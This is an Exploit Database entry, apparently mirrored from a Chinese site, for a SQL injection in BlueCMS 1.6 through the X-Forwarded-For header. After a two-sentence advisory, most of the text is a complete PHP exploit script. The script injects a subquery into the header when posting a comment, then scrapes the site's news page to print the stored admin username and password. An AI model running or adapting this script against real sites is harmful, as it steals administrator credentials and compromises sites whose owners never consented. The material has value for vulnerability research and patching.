BlueCMS 1.6 – ‘x-forwarded-for’ Header SQL Injection

Exploit Database
105 阅读

作者： cnryan

日期： 2010-09-06
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/34604/

source: https://www.securityfocus.com/bid/42999/info

BlueCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

<?php

print_r('

+---------------------------------------------------------------------------+

BlueCMS v1.6 sp1 Getip() Remote SQL Injection Exploit

by cnryan

Mail: cnryan2008[at]gmail[dot]com

Blog: http://hi.baidu.com/cnryan

W . S . T

+---------------------------------------------------------------------------+

');

if ($argc < 3) {

print_r('

+---------------------------------------------------------------------------+

Example:

php '.$argv[0].' localhost /bluecms/

+---------------------------------------------------------------------------+

');

exit;

}

error_reporting(7);

ini_set('max_execution_time', 0);

$host = $argv[1];

$path = $argv[2];

send();

send2();

function send()

{

global $host, $path;

$cmd = "mood=6&comment=test&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB";

$getinj=" 00','1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin),'1281181973','99";

$data = "POST ".$path."comment.php?act=send HTTP/1.1\r\n";

$data .= "Accept: */*\r\n";

$data .= "Accept-Language: zh-cn\r\n";

$data .= "Content-Type: application/x-www-form-urlencoded\r\n";

$data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

$data .= "Host: $host\r\n";

$data .= "Content-Length: ".strlen($cmd)."\r\n";

$data .= "Connection: Close\r\n";

$data .= "X-Forwarded-For: $getinj\r\n\r\n";

$data .= $cmd;

$fp = fsockopen($host, 80);

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

return $resp;

}

function send2()

{

global $host, $path;

$message="GET ".$path."news.php?id=1 HTTP/1.1\r\n";

$message.="Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*\r\n";

$message.="Accept-Language: zh-cn\r\n";

$message.="Accept-Encoding: gzip, deflate\r\n";

$message.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; GreenBrowser)\r\n";

$message.="Host: $host\r\n";

$message.="Connection: Keep-Alive\r\n\r\n";

$fd = fsockopen($host,'80');

if(!$fd)

{

echo '[-]No response from'.$host;

die;

}

fputs($fd,$message);

$resp = '';

while (!feof($fd)) {

$resp.=fgets($fd);

}

fclose($fd);

preg_match_all("/<u-([^<]*)-u><p-([^<]*)-p>/",$resp,$db);

if($db[1][0]&$db[2][0])

{

echo "username->".$db[1][0]."\r\n";

echo "password->".$db[2][0]."\r\n";

echo "[+]congratulation ^ ^";

}else die('[-]exploited fail >"<');

}